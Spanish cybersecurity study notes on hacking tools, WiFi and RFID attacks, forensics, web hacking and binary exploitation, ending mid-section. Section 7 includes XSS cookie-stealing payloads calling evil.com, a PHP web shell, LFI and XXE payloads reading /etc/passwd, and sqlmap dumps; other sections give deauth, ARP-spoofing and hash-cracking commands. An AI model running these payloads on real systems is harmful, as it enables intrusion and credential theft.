Apuntes de ciberseguridad
Compendio de apuntes sobre ciberseguridad
1. Anotaciones Útiles
Esta sección contiene una lista mixta de herramientas, comandos útiles, plataformas de entrenamiento y consejos varios.
1.1 Herramientas y Recursos Útiles para Ciberseguridad
Aquí se recopilan herramientas, comandos y plataformas que resultan fundamentales en la práctica del hacking ético, análisis forense y pruebas de penetración (pentesting). Muchas de ellas son utilizadas frecuentemente en CTFs y escenarios reales.
comando 2> /dev/null:
Redirige los mensajes de error a /dev/null, ocultándolos.
python3 -m http.server 8080:
Inicia un servidor web simple en el puerto 8080.
php -S 127.0.0.1:8080:
Levanta un servidor PHP local para pruebas.
xfreerdp /u:USUARIO /p:CLAVE /v:IP /dynamic-resolution:
Conéctate por RDP desde Kali Linux.
echo 1 > /proc/sys/net/ipv4/ip_forward:
Habilita el reenvío de paquetes (útil para ataques MITM).
1.2 Redes y Proxy
- FoxyProxy: Extensión para gestionar proxies fácilmente en Firefox.
- VPNs útiles: Freedom VPN, Opera VPN, Ultrasurf (proxy).
- Dns spoofing y bypass de portales cautivos: herramientas como
Iodine
odns2tcp
permiten túneles DNS. - Imagenes Cisco para GNS3 – Repo 1
1.3 Phishing e Ingeniería Social
- GoPhish: Framework para campañas de phishing.
- Evilginx2: Realiza ataques MITM, roba cookies de sesión.
- Evilgophish: Combinación de GoPhish + Evilginx.
- Zphisher: Herramienta automatizada para phishing.
- SocialPhish: Herramienta de phishing con plantillas.
- Social Engineer Toolkit (SET): Framework para ataques de ingeniería social automatizados.
1.4 Análisis de Seguridad
- Logstalgia: Visualización en tiempo real de logs de accesos.
- Foremost: Recupera archivos desde capturas .pcap, imágenes de disco, etc.
- searchsploit: Consulta local de exploits disponibles en Exploit-DB.
searchsploit -x <PATH>
: Ver código asociado.searchsploit -m <PATH>
: Copiar exploit al directorio actual.- RouterSploit: Explotación de dispositivos embebidos (routers, IoT).
- PacketWhisper: Exfiltración de datos mediante DNS.
- Updog: Alternativa moderna al
SimpleHTTPServer
, permite subir archivos también. - Olevba: Analiza documentos de Office para detectar macros maliciosas.
- Oledump: Extrae y analiza contenido oculto en documentos de Office.
- Forensically: Análisis forense de imágenes.
1.5 Plataformas de Entrenamiento
- Metasploitable: Máquina virtual vulnerable para prácticas de explotación.
- Plataforma Atenea: CTFs del CCN-CERT (España).
- CTFTime: Plataforma para seguir CTFs globales, ver write-ups y rankings de equipos.
1.6 Conceptos Clave
- CIA Triad (Confidentiality, Integrity, Availability): Pilar de la seguridad informática.
- No repudio: Garantía de que una transacción no puede ser negada por ninguna de las partes.
- Spoofing: Técnica para suplantar identidad o información de red.
- Acortadores con tracking (balizas): Redirecciones maliciosas pueden revelar tu IP o ubicación. Usa desacortadores como CheckShortURL.
1.7 Extra: Sniffing con ARP Poisoning
Para interceptar paquetes en redes con switches (man-in-the-middle):
# Activar redirección de paquetes en Linux
echo 1 > /proc/sys/net/ipv4/ip_forward
# Lanzar ARP spoofing entre dos víctimas
arpspoof -i eth0 -t 192.168.1.100 -r 192.168.1.1
2. Identificación de Frecuencias de Radio (Tarjetas NFC/RFID)
El uso de tecnologías de comunicación por proximidad, como RFID y NFC, está ampliamente extendido en tarjetas de acceso, pagos sin contacto, identificación de personal y dispositivos IoT.
Estas tecnologías operan principalmente en dos rangos:
- 125 kHz (RFID de baja frecuencia – LF)
- 13.56 MHz (NFC o RFID de alta frecuencia – HF)
Con el equipamiento y software adecuado, es posible:
- Leer, clonar o emular tarjetas.
- Realizar pruebas de fuerza bruta.
- Analizar protocolos de comunicación.
2.1 Lectura de tarjetas NFC desde Android
Una app ampliamente usada para experimentar con tarjetas de pago:
EMV NFC Paycard Reader (Android): Permite leer tarjetas bancarias NFC compatibles desde un dispositivo Android con chip NFC.
⚠️ Advertencia ética: No uses estas herramientas con tarjetas reales sin consentimiento. Estas pruebas deben realizarse solo en entornos controlados o con tarjetas laboratorio.
2.2 Hardware Recomendado (Proxmark3)
Dispositivo especializado para lectura, análisis y clonación de tarjetas RFID/NFC.
- Soporta LF (125 kHz) y HF (13.56 MHz) mediante dos antenas dedicadas.
- Modos:
- Standalone: Opera sin conexión a un PC (modo autónomo).
- Modo conectado: Control total vía consola.
- Firmwares disponibles:
- Oficial: Para usos generales.
- Iceman: Firmware más avanzado, permite ataques como:
- Fuerza bruta sobre tarjetas sin clave.
- Emulación y clonación más precisa.
- Para flashear el firmware:
- Conecta el dispositivo.
- Identifica el puerto COM asignado.
- Edita el script
.bat
con el puerto correcto. - Ejecuta el script correspondiente (firmware flash, bootloader, recovery…).
Existen versiones de bajo costo como Proxmark3 Easy, aunque tienen limitaciones físicas frente a los modelos RDV4.
2.3 Casos de Uso
- Clonación de tarjetas de acceso físico.
- Análisis de sistemas de transporte (tarjetas Mifare).
- Pentesting de sistemas de control de acceso en edificios.
- Análisis de seguridad en pagos sin contacto (EMV).
2.4 Ejemplo de flujo de trabajo con Proxmark3
# Conectar en consola
proxmark3 /dev/ttyACM0
# Comprobar tarjeta HF (13.56 MHz)
hf search
# Comprobar tarjeta LF (125 kHz)
lf search
# Clonar un tag Mifare Classic a una tarjeta virgen (T5577 o similar)
hf mf dump
hf mf restore --file dump.mfd
Nota: Algunos chips Mifare tienen sectores protegidos. Se puede intentar acceso usando ataques tipo DarkSide o Nested
2.5 Recursos adicionales
- Proxmark Wiki (oficial)
- Iceman Proxmark Fork
- ChameleonMini: Emulador de tarjetas NFC.
- Flipper Zero: Dispositivo multiuso para pruebas NFC, IR, radiofrecuencia y más.
3. Seguridad en Redes WiFi
Las redes WiFi son un objetivo frecuente en entornos de pentesting debido a su exposición constante y a que muchos dispositivos se conectan a ellas sin medidas de seguridad adecuadas.
3.1 Conceptos Fundamentales
- Beacon Frames: Son tramas de señalización enviadas por los Access Points (AP) para anunciar su presencia. Los dispositivos móviles las detectan y pueden intentar reconectarse automáticamente.
- Modo Monitor (Promiscuo): Permite a una tarjeta de red capturar todos los paquetes inalámbricos, incluso aquellos que no van dirigidos a ella.
- Gemelo malicioso (Evil Twin): Consiste en replicar una red WiFi legítima para engañar a los usuarios y capturar tráfico o credenciales.
3.2 Tipos de Ataques
3.2.1 Ataques sobre el canal de comunicación
- Jamming (Inhibición de señal): Saturación deliberada del canal WiFi para impedir la comunicación. Se puede hacer de forma:
- Reactiva.
- Aleatoria.
- Continua.
- Deautenticación (Deauth Attack):
- Desconecta a los usuarios de la red para forzar la reconexión y capturar el handshake.
- No es jamming, pero tiene efectos similares.
3.2.2 Redes Públicas y Portales Cautivos
- Redes abiertas: Pueden estar bajo control de atacantes.
- Portales cautivos:
- Usados en hoteles y cafeterías.
- Se pueden evitar con spoofing de MAC o túneles DNS (
iodine
,dns2tcp
).
3.3 Vulnerabilidades por tipo de cifrado
- WEP (ChopChop, Fragmentation, Caffe Latte):
- Ataques sobre el ICV (Integrity Check Value).
- Posibilidad de reconstruir la clave con paquetes ARP.
- WPS (Pixie Dust Attack):
- Permite romper PINs de 8 dígitos por fuerza bruta.
- WPA/WPA2:
- Handshake Attack: Captura del 4-way handshake.
- PMKID Attack: Ataque sin necesidad de que el cliente esté conectado.
Flujo resumido del ataque WPA/PMKID con Bettercap + hcxtools:
# Activar modo monitor
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
# Escaneo
bettercap -iface wlan0
wifi.recon on
wifi.recon.channel 6
wifi.deauth <MAC_AP>
wifi.assoc all
Luego puedes capturar el PMKID y crackearlo con hashcat
:
hashcat -m 16800 -a 3 pmkid.hccapx rockyou.txt
3.4 Suplantación y Phishing
- Evil Twin + DNS spoofing:
- Herramientas:
hostapd
,dnsmasq
,wifiphisher
.
- Herramientas:
- Captura de 2FA:
- Phishing avanzado que solicita el código del segundo factor junto con las credenciales.
3.5 Herramientas de Auditoría WiFi
Herramienta | Descripción |
---|---|
Bettercap | Framework avanzado para análisis y ataques en red. Soporta WiFi, BLE, y más. |
Wireshark | Analizador de protocolos, ideal para visualizar y filtrar paquetes. |
hcxdumptool | Captura de handshakes y PMKIDs. |
hcxpcaptool | Convierte capturas a formato compatible con hashcat . |
cap2hccapx | Conversor de formato de captura para WPA. |
Hashcat | Cracking por fuerza bruta de claves WPA, PMKID y hashes varios. |
Kismet | Sniffer de redes, ideal para wardriving. |
Aircrack-ng | Conjunto completo para análisis, captura y ataque de redes WiFi. |
Airgeddon | Framework que automatiza ataques a WiFi (handshakes, Evil Twin, DoS). |
Eaphammer | Ataques a redes WPA2-Enterprise (Evil Twin + credenciales). |
Wigle | Base de datos global de redes WiFi recolectadas por wardrivers. |
Wifiphisher | Framework de ingeniería social sobre WiFi. |
Wifite2 | Automatiza ataques conocidos sobre redes vulnerables. |
Ejemplo práctico: Captura de handshake y crackeo:
# Capturar el handshake con airodump-ng
airodump-ng wlan0mon --bssid <MAC_AP> --channel 6 -w capture
# Lanzar ataque de deauth
aireplay-ng -0 10 -a <MAC_AP> wlan0mon
# Crackear con hashcat
hashcat -m 2500 capture.hccapx rockyou.txt
4. Hacking por Radiofrecuencia (SDR – Software Defined Radio)
La radio definida por software (SDR) es una tecnología que permite implementar funciones clásicas de hardware de la capa física (modulación, demodulación, mezcla, filtrado, etc.) directamente en software, usando hardware genérico como un receptor USB.
Esta técnica permite analizar, interceptar, decodificar y manipular señales de radio en un amplio espectro, útil tanto en seguridad ofensiva como defensiva.
¿Qué es SDR?
SDR permite sintonizar señales en frecuencias específicas, procesarlas digitalmente y extraer información como datos meteorológicos, paquetes de sensores IoT, control remoto de automóviles, aviones, comunicaciones de emergencia, entre otros.
Puede cubrir bandas AM, FM, GSM, ADS-B, WiFi, y más.
Herramientas SDR son utilizadas tanto para monitoreo pasivo como para ataques activos en protocolos inalámbricos no cifrados.
4.1 Principios Técnicos
Fases del procesamiento SDR:
- Muestreo: Conversión de una señal analógica a digital (ADC).
- Cuantificación: Representación de la amplitud en niveles digitales.
- Codificación: Empaquetamiento de los datos para su análisis posterior.
Tipos de bandas frecuentes:
Banda | Frecuencia | Aplicación |
---|---|---|
LF (baja) | 125 kHz | RFID |
HF (alta) | 3 – 30 MHz | Onda corta |
VHF | 30 – 300 MHz | Radios FM, TV |
UHF | 300 MHz – 3 GHz | WiFi, GPS, celulares |
4.2 Herramientas y Software para SDR
Herramienta | Descripción |
---|---|
Virtual Audio Cable / snd-aloop | Redirecciona el audio decodificado como fuente virtual. |
CW Skimmer | Analiza señales en código Morse y las decodifica. |
rtl_433 | Decodifica sensores de 433.92 MHz (temperatura, humedad, electricidad…). |
minimodem | Emula y decodifica señales de modem. Soporta AFSK, FSK, etc. |
pyModeS | Decodificador de señales ADS-B (aviación), usado para rastrear vuelos. |
GQRX | Interfaz gráfica SDR basada en GNU Radio. |
SDR++ | Alternativa moderna, multiplataforma y liviana para GQRX. |
4.3 Hardware SDR
Dispositivo | Características |
---|---|
RTL-SDR v3 | El más accesible. Recibe señales de 500 kHz a 1.7 GHz. |
HackRF One | SDR full-duplex: transmite y recibe. De 1 MHz a 6 GHz. |
BladeRF / LimeSDR | Dispositivos profesionales para transmisión compleja. |
Flipper Zero | Multiuso. Soporta radiofrecuencia, IR, iButton, NFC y más. Tiene modo “sub-1 GHz” para señales de controles remotos. |
Ejemplo práctico: Captura de señal de sensor inalámbrico:
# Usando RTL-SDR para escuchar dispositivos a 433 MHz
rtl_433 -f 433920000 -g 45 -s 250000
# Resultado esperado
temperature: 23.7 °C
humidity: 65 %
battery: OK
4.4 Casos de uso en ciberseguridad
- Captura y análisis de señales de control remoto.
- Reversing de sensores IoT (alarma, temperatura, cámaras).
- Sniffing de transmisiones ADS-B y decodificación de tráfico aéreo.
- Ataques a sistemas de control sin cifrado (ej. puertas de garage, autos).
- Estudio de espectro electromagnético en áreas sensibles.
4.5 Recursos complementarios
- RTL-SDR Blog
- Great Scott Gadgets (HackRF, Yard Stick One)
- SDRSharp: Receptor SDR con soporte para plugins
5. Criptología (Criptografía + Esteganografía)
Esta es una de las secciones más densas y relevantes del documento. Vamos a dividirla en dos subpartes:
- Criptografía → Teoría, tipos, herramientas, diccionarios y reglas.
- Esteganografía → Técnica, artística, herramientas y análisis.
5.1 Criptografía
Es el estudio y práctica de técnicas para proteger la información mediante su codificación, de forma que solo personas autorizadas puedan acceder a ella. Su objetivo es garantizar:
- Confidencialidad
- Integridad
- Autenticación
- No repudio
5.1.1 Tipos de Criptografía
Tipo | Descripción | Ejemplo |
---|---|---|
Clásica | Sistemas antiguos de cifrado. | César, Vigenère, Enigma. |
Moderna (Simétrica) | Una sola clave para cifrar y descifrar. | AES, DES, Blowfish. |
Moderna (Asimétrica) | Usa un par de claves: pública y privada. | RSA, ECC, ElGamal. |
Simétrica – Por bloques y por flujo
- Por bloques: Agrupa los datos en bloques (e.g. AES-128).
- Por flujo: Bit a bit, útil en streaming (e.g. RC4).
5.1.2 Herramientas para Criptografía y Cracking
Herramienta | Descripción |
---|---|
hashcat | Cracker por fuerza bruta. Soporta múltiples algoritmos. |
John the Ripper | Cracking de contraseñas. Soporta mutaciones, diccionarios y reglas. |
Hydra | Fuerza bruta contra protocolos: SSH, FTP, HTTP, etc. |
hashid / hashidentifier | Detectan el tipo de hash. |
colabcat | Ejecuta hashcat en Google Colab para acelerar el cracking. |
filemyhash | Busca coincidencias en bases de datos online. |
CyberChef | “Navaja suiza” para codificar, decodificar, transformar y analizar datos. |
dcode.fr | Excelente para cifrados clásicos, XOR, base64, ROT13 y más. |
OpenSSL | Utilidad CLI para cifrar, descifrar, firmar, generar claves, etc. |
5.1.3 Diccionarios para Cracking
Directorios estándar en Kali:
/usr/share/wordlists/
/usr/share/dirb/
/usr/share/ncrack/
Diccionarios recomendados:
- rockyou.txt
- Kaonashi
- Mentalist (GUI para generar diccionarios)
- RSMangler
- Crunch / Cewl: Generación personalizada de diccionarios a partir de patrones o sitios web.
5.1.4 Reglas para mejorar ataques
Las reglas aumentan la eficacia de los ataques por diccionario aplicando mutaciones inteligentes (e.g. cambiar «p@ssword» por «P4$$w0rd»).
- Reglas recomendadas:
- OneRuleToRuleThemAll
- Las incluidas en
/etc/john/john.conf
(para JtR). - Reglas de hashcat (
rules/
).
Combinando diccionarios + reglas se aumenta significativamente la tasa de éxito en CTFs o pentests reales.
5.1.5 Ejemplo: Crackeo de hash con hashcat
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule
-m 0
: Hash MD5.-a 0
: Ataque por diccionario.-r
: Aplica reglas al diccionario.
5.2 Esteganografía (Técnica y Artística)
¿Qué es la Esteganografía?
La esteganografía es el arte y ciencia de ocultar información dentro de otro objeto o medio de forma que pase desapercibida. A diferencia de la criptografía, que protege el contenido, la esteganografía protege la existencia del mensaje
Esteganografía Técnica
Oculta datos en estructuras binarias de archivos como imágenes, audio o documentos. Suele requerir análisis forense especializado para ser detectada.
5.2.1 Conceptos Clave
- Archivos políglotas: Archivos que son válidos para más de un tipo de lector (ej. JPG y ZIP a la vez).
- Entropía: Medida del desorden de un archivo. La alta entropía puede indicar datos cifrados o embebidos.
- EoF (End of File): Técnica que inserta datos al final de un archivo sin corromper su estructura.
5.2.2 Técnicas Comunes
Técnica | Descripción |
---|---|
LSB (Least Significant Bit) | Modifica el bit menos significativo de cada píxel en imágenes. Ideal para ocultar datos sin alterar visualmente la imagen. |
EoF | Inserta datos al final de un archivo, útil en imágenes o documentos. |
Metadatos | Campos EXIF o atributos ocultos en documentos. |
ZIP en imagen | Un archivo .jpg puede tener un .zip oculto en su interior: unzip archivo.jpg . |
5.2.3 Herramientas para Esteganografía Técnica
Herramienta | Descripción |
---|---|
Steghide | Una de las más usadas. Cifra y oculta archivos en imágenes o audio. |
Outguess | Similar a Steghide, menos detectable por fingerprinting. |
OpenStego | GUI para ocultar archivos o insertar marcas de agua. |
StegSolve | Permite inspeccionar capas y colores de imágenes (ideal para CTF). |
StegoVeritas | Automatiza análisis forense de imágenes. |
Zsteg | Analiza imágenes PNG y BMP en busca de patrones LSB. |
Binwalk | Extrae datos embebidos en binarios e imágenes. |
Exiftool | Extrae y modifica metadatos. |
xxd / ghex | Análisis hexadecimal básico. |
DeepSound | Oculta datos en audio (WAV). |
Stegano (Python) | Librería para esconder texto en imágenes usando LSB. |
5.2.4 Ejemplo práctico con Steghide
# Ocultar un archivo
steghide embed -cf imagen.jpg -ef secreto.txt -p clave123
# Extraer el archivo
steghide extract -sf imagen.jpg -p clave123
Consejo: muchas de estas herramientas permiten usar contraseña opcionalmente. Sin clave, también se pueden atacar con diccionarios (
stegcracker
).
5.2.5 Stegoanálisis
Ciencia que detecta y recupera información oculta. Puede ser manual o automatizada. Herramientas como StegDetect
, StegSecret
, Binwalk
, stegoveritas
, zsteg
ayudan a analizar imágenes sospechosas.
5.2.6 Esteganografía Artística
Usa recursos visuales, sonoros o de videojuegos para ocultar datos, generalmente de forma creativa o no tradicional.
5.2.7 Imagen Digital
- Técnicas comunes:
- LSB.
- Paleta de colores.
- Transformada wavelet o DCT.
- Herramientas:
- GIMP, Photoshop, StegOnline, StegSuite, StegHide.
- Detección:
- Análisis de histogramas.
- Análisis estadístico.
- Reconocimiento por IA.
5.2.8 Videojuegos
- Casos reales:
- Uso de partidas, mapas o movimientos para transmitir mensajes.
- ChessSteganography: codifica datos en movimientos de ajedrez.
- Mipui.net + Hammer Editor (mapas personalizados).
- Contramedidas:
- Análisis de patrones, duración, puntuaciones o comportamiento anómalo.
5.2.9 Audio Digital
- Técnicas:
- LSB en cuadros.
- EoF.
- Manipulación de metadatos.
- Herramientas:
- MSU Stego Video, StegoStick, OpenPuff.
5.2.10 Lecturas recomendadas
- Criptored – UPM
- Esteganografía y Estegoanálisis – Alfonso Muñoz
- StegoSploit (esteganografía activa en exploits)
- Imagen Docker:
stego-toolkit
con herramientas comocheck_jpg.sh
,check_png.sh
,zsteg
,binwalk
,steghide
,foremost
, entre otras.
6. Análisis Forense Digital
El análisis forense digital consiste en adquirir, preservar, analizar y presentar datos digitales de manera que sean válidos legalmente. Las herramientas que veremos permiten examinar capturas de memoria RAM y discos duros en busca de evidencia digital.
6.1 Análisis de Memoria RAM
¿Por qué analizar la RAM?
La memoria RAM contiene datos volátiles de alto valor como:
- Procesos activos.
- Contraseñas en texto plano.
- Historial de comandos.
- Sesiones de red activas.
- Malwares en ejecución.
6.1.1 Herramienta principal: Volatility
Framework forense en Python para analizar dumps de memoria RAM.
# Detectar sistema operativo de la imagen
volatility -f memoria.dmp imageinfo
# Ver árbol de procesos
volatility -f memoria.dmp --profile=Win7SP1x64 pstree
# Explorar conexiones de red
volatility -f memoria.dmp --profile=Win7SP1x64 netscan
# Extraer historial de comandos en cmd.exe
volatility -f memoria.dmp --profile=Win7SP1x64 cmdscan
# Extraer proceso completo por PID
volatility -f memoria.dmp --profile=Win7SP1x64 memdump -p 1234 -D ./dump/
6.1.2 Análisis del proceso lsass.exe
Este proceso almacena credenciales de Windows. Puede contener contraseñas o hashes en memoria
# Extraer hashes NTLM/LM con Volatility
volatility -f memoria.dmp --profile=Win7SP1x64 hashdump
Usa CrackStation o hashcat
para intentar descifrar los hashes.
6.1.3 Extra: Extracción de cadenas de texto
# Extraer strings legibles (UTF-8)
strings -td -a memoria.dmp > salida.txt
# Extraer en UTF-16 (Windows)
strings -td -el -a memoria.dmp > salida_utf16.txt
6.2 Análisis de Imágenes de Disco
¿Qué buscamos?
- Evidencias eliminadas.
- Restos de navegación (historial, favicons).
- Archivos cifrados o contenedores.
- Mensajería, correo, bases de datos de gestores de contraseñas.
6.2.1 Herramienta principal: FTK Imager
Aplicación forense gratuita para montar imágenes de disco en modo lectura.
Uso básico
- Abrir FTK →
File > Add Evidence Item > Image File
. - Navegar dentro de la estructura sin modificarla.
- Exportar carpetas o archivos sospechosos.
6.2.2 Casos prácticos de análisis
Recuperación de historial en TOR
TOR no guarda historial, pero sí favicons.sqlite con URLs visitadas y sus íconos.
# Ruta típica
/TOR/Data/Browser/profile.default/favicons.sqlite
Se puede abrir con DB Browser for SQLite.
Recuperar correos electrónicos eliminados
Thunderbird guarda correos por defecto en:
AppData/Roaming/Thunderbird/Profiles/.../Mail/LocalFolders/Inbox
Aún si están eliminados visualmente, pueden recuperarse como archivos .mbox
.
Recuperar contraseñas de KeePass
- Localiza el archivo
.kdbx
(e.g.passwords.kdbx
). - Extrae hash con
keepass2john.py
. - Crackea con hashcat:
hashcat -m 13400 -a 0 hashes.txt rockyou.txt --force
6.3 Herramientas adicionales
Herramienta | Función |
---|---|
Autopsy | Framework completo para análisis de imágenes y evidencias. |
Bulk Extractor | Extrae patrones de interés (emails, URLs, etc.). |
TestDisk / PhotoRec | Recuperación de archivos eliminados. |
foremost | Extrae archivos basándose en firmas. Muy útil en .pcap o .dd . |
sqlitebrowser | Revisión de bases de datos .sqlite . |
7. Hacking Web — Herramientas, Técnicas y Ataques
Esta sección cubre desde la manipulación básica del navegador hasta vulnerabilidades web críticas como XSS, SQLi, RCE y SSRF. También se detallan herramientas clave para realizar pruebas de seguridad web.
7.1 Herramientas para Pentesting Web
Herramienta | Uso principal |
---|---|
Consola del navegador (F12) | Análisis de red, ejecución de funciones JS, depuración de código. |
curl | Interactuar con servidores desde CLI (ideal para pruebas de cabeceras). |
Burp Suite | Interceptar, modificar y automatizar peticiones HTTP. |
OWASP ZAP | Escáner de vulnerabilidades web gratuito. |
Nikto | Escáner de vulnerabilidades web en servidores HTTP. |
Gobuster | Fuzzing de rutas, archivos y directorios web. |
DirBuster | Descubrimiento de rutas y archivos ocultos. |
CeWL | Generador de diccionarios a partir de contenido web. |
Wfuzz | Fuzzing avanzado sobre parámetros web. |
Feroxbuster | Fuzzing rápido, incluye búsqueda de backups. |
EyeWitness | Toma capturas de sitios web automáticamente. |
7.2 Comandos útiles con curl
# Cambiar tipo de petición
curl -X POST http://site.com/login
# Editar cabecera "User-Agent"
curl -H "User-Agent: Kali" http://target.com
# Mostrar verbosidad
curl -v http://target.com
7.3 Principales Ataques Web
XSS (Cross-Site Scripting)
Permite inyectar código JavaScript malicioso.
Ejemplo clásico:
<script>new Image().src="http://evil.com/"+document.cookie;</script>
Ejemplo con AJAX:
<script>
let r = new XMLHttpRequest();
r.open("GET", "http://evil.com?c=" + document.cookie, true);
r.send();
</script>
Escucha con netcat:
while true; do nc -lnvp 80; done
7.4 LFI/RFI (Inclusión de Archivos Locales o Remotos)
- LFI: Se accede a archivos internos (
/etc/passwd
). - RFI: Se incluye código remoto, útil para ejecutar webshells.
Ejemplo con PHP:
page=../../../../../etc/passwd
Evadir ejecución:
php://filter/convert.base64-encode/resource=index.php
7.5 SSRF (Server-Side Request Forgery)
Fuerza al servidor a hacer peticiones HTTP arbitrarias.
Payload típico:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
Sitios como localtest.me
apuntan a 127.0.0.1
y ayudan a saltarse filtros.
7.6 SQL Injection
Permite manipular consultas a bases de datos.
Herramienta: sqlmap
# Ataque automatizado
sqlmap -u "http://target.com?id=1" --batch --dbs
# Usar POST desde archivo
sqlmap -r post_request.txt --dump-all
sqlmap –tamper=space2comment -u URL
sqlmap --tamper=space2comment -u URL
7.7 RCE (Remote Code Execution)
Permite ejecutar comandos en el servidor.
Payload WebShell:
<?php echo shell_exec($_GET['cmd']); ?>
Navega a: http://target.com/shell.php?cmd=ls
7.8 XXE (XML External Entity)
Similar a SSRF pero basado en XML maliciosos.
Payload:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
7.9 Web Shells
- p0wny-shell
- reGeorg
- Creadas para obtener acceso interactivo a un servidor vulnerado.
7.10 Fuzzing y Enumeración
- Buscar
.git
expuesto → Usa GitTools - Buscar backups:
index.php~
,config.bak
,database.sql
, etc. - Pruebas de login con
Hydra
,Wfuzz
,Burp Suite
.
7.11 Recursos adicionales
8. Ingeniería Inversa y Explotación de Binarios
Esta sección cubre el análisis, descompilación, depuración y explotación de programas en binario. Su aplicación es clave en el análisis de malware, reversing de software propietario y explotación de vulnerabilidades en binarios locales o remotos.
¿Qué es la ingeniería inversa?
Proceso de desensamblar o descompilar software y/o hardware para entender su funcionamiento interno, sin tener acceso a las fuentes originales.
8.1 Tipos de herramientas utilizadas
Tipo | Función | Ejemplos |
---|---|---|
Descompiladores | Pasan de binario a lenguaje de alto nivel (C, C#) | Ghidra, IDA Pro, ILSpy |
Desensambladores | Muestran el ensamblador original | objdump, Radare2 |
Depuradores (Debuggers) | Permiten ejecutar paso a paso el binario, ver registros, memoria, etc. | GDB, Immunity Debugger, WinDbg |
Empaquetadores/Detectors | Detectan u ofuscan binarios | UPX, PEiD, CFF Explorer |
8.2 Herramientas Clave:
8.2.1 GDB (GNU Debugger)
# Iniciar GDB con binario
gdb binario
# Opcional: mostrar sintaxis Intel
(gdb) set disassembly-flavor intel
# Desensamblar función
(gdb) disassemble main
# Colocar breakpoint
(gdb) break *main
# Ejecutar
(gdb) run
# Ver registros
(gdb) info registers
# Ir paso a paso
(gdb) ni
# Modificar un registro
(gdb) set $eax=0
Recomendado: instalar el plugin PEDA para mejor interfaz en GDB.
8.2.2 Ghidra
- Potente suite de ingeniería inversa creada por la NSA.
- Permite descompilar a código C legible, explorar flujos de control y modificar instrucciones.
8.2.3 Radare2
Depurador y desensamblador CLI extremadamente completo. También tiene modo gráfico (r2 -qg
).
r2 -d ./binario # Modo depuración
aa # Analiza funciones
afl # Lista funciones
pdf @ main # Desensambla main
VV # Modo visual con gráfico de flujo
8.2.4 Otros útiles
Herramienta | Descripción |
---|---|
ILSpy | Descompilador para binarios .NET |
CFF Explorer | Editor de archivos PE |
Resource Hacker | Extrae íconos, recursos, strings de ejecutables |
strace / ltrace | Muestran llamadas al sistema o a librerías |
UPX | Comprime binarios ejecutables |
pwntools (Python) | Framework para scripting de exploits |
objdump | CLI para ver info de binarios |
dmesg | Útil para detectar errores por desbordamientos |
PESecurity | Verifica protecciones activadas en binarios de Windows |
8.3 Ejemplo: Creación de shellcode con Pwntools
from pwn import *
context.binary = './vulnerable'
context.update(arch='i386', os='linux')
payload = asm(shellcraft.sh())
print(payload)
8.4 Explotación de Binarios
- Buffer overflows
- Format string vulnerabilities
- Return Oriented Programming (ROP)
- Stack smashing
Requiere entender protecciones como:
Protección | Descripción |
---|---|
NX (No eXecute) | Previene ejecución en la pila. |
ASLR | Cambia direcciones de memoria aleatoriamente. |
Stack Canaries | Detectan corrupción de stack antes del ret . |
RELRO / PIE | Reforzamiento de tablas GOT/PLT. |
Puedes usar checksec
o pwntools
para revisar estas protecciones.
checksec --file=./binario
8.5 Técnicas comunes
Técnica | Uso |
---|---|
Overwrite del EIP | Control de flujo del programa |
NOP Sled | Asegura llegada a shellcode |
Ret2libc | Redirigir ejecución a funciones existentes como system() |
ROP chains | Construcción de gadgets a partir de libc o el binario |
9. Metodología de Hacking (Pentest)
Esta sección detalla el enfoque profesional para realizar pruebas de penetración (pentesting), siguiendo buenas prácticas y etapas claras. La metodología recomendada es OSSTMM, y también se aplica el marco de PTES o el ciclo de vida de un Red Team.
Ciclo de Vida de un Pentest
Se divide típicamente en 4 fases:
- Reconocimiento (OSINT)
- Escaneo y enumeración
- Explotación y escalado de privilegios
- Persistencia, limpieza y reporte
9.1 Reconocimiento (OSINT – Inteligencia de fuentes abiertas)
Objetivo: Recolectar toda la información pública posible sobre el objetivo antes de interactuar directamente con él.
Herramientas y técnicas:
Herramienta | Uso |
---|---|
whois , host , nslookup | Información de dominios y DNS |
Shodan | Búsqueda de dispositivos conectados |
Hunter.io | Emails asociados a dominios |
Scylla.sh | Leaks de contraseñas |
haveibeenpwned | Verificación de leaks |
Mailfy | Detecta redes sociales asociadas a correos |
h8mail | Busca leaks por email |
TheHarvester | Recolecta emails, dominios, subdominios |
robots.txt | Verifica rutas prohibidas al indexado |
Nexfil | OSINT por nombre o usuario |
Sherlock | Búsqueda de usuarios en redes sociales |
FOCA | Extrae metadatos de documentos online |
Wayback Machine | Accede a versiones antiguas de sitios web |
google dorks | Ejemplo: inurl:admin site:empresa.com |
9.2 Escaneo y Enumeración
Objetivo: Identificar hosts, servicios activos, puertos abiertos y posibles vulnerabilidades.
Herramientas y técnicas:
Herramienta | Función |
---|---|
nmap | Escaneo de red. Soporta scripts NSE. |
RustScan / Threader3000 | Escaneo rápido de puertos |
wpscan | Auditoría de sitios WordPress |
enum4linux / smbclient | Recolección en entornos Windows/Samba |
Nikto | Escaneo de vulnerabilidades web |
showmount | Detectar shares NFS |
gobuster / feroxbuster | Fuzzing de directorios |
whatweb | Fingerprinting de sitios web |
Netcraft | Identifica cambios en hospedaje e historial |
egresscheck-framework | Comprobación de puertos de salida |
BloodHound + SharpHound | Enumeración avanzada en Active Directory |
MBSA | Escaneo de vulnerabilidades (obsoleto pero útil en Win antiguos) |
Con
nmap --script vuln
puedes usar scripts predefinidos para detectar vulnerabilidades.
Ejemplo de escaneo clásico con Nmap:
nmap -sC -sV -oA scan_basico 192.168.1.1
# -sC: Scripts NSE por defecto
# -sV: Detección de versiones
# -oA: Exporta en 3 formatos
9.3 Explotación y Escalado de Privilegios
Objetivo: Acceder a sistemas vulnerables y escalar privilegios hasta obtener control completo.
Herramienta | Uso |
---|---|
Metasploit | Framework de explotación |
searchsploit | Buscar exploits en Exploit-DB |
GTFOBins | Escalada de privilegios en Linux |
winPEAS / linPEAS | Escaneo local de vulnerabilidades |
PowerUp / PowerView (PowerSploit) | Escalada en Windows |
Responder | Captura de credenciales por LLMNR/NBT-NS |
Hoaxshell | Reverse shell indetectable |
pspy | Monitorización de procesos sin root |
sudo -l | Ver comandos permitidos (Linux) |
getcap -r / 2>/dev/null | Archivos con capabilities activas |
Técnicas frecuentes:
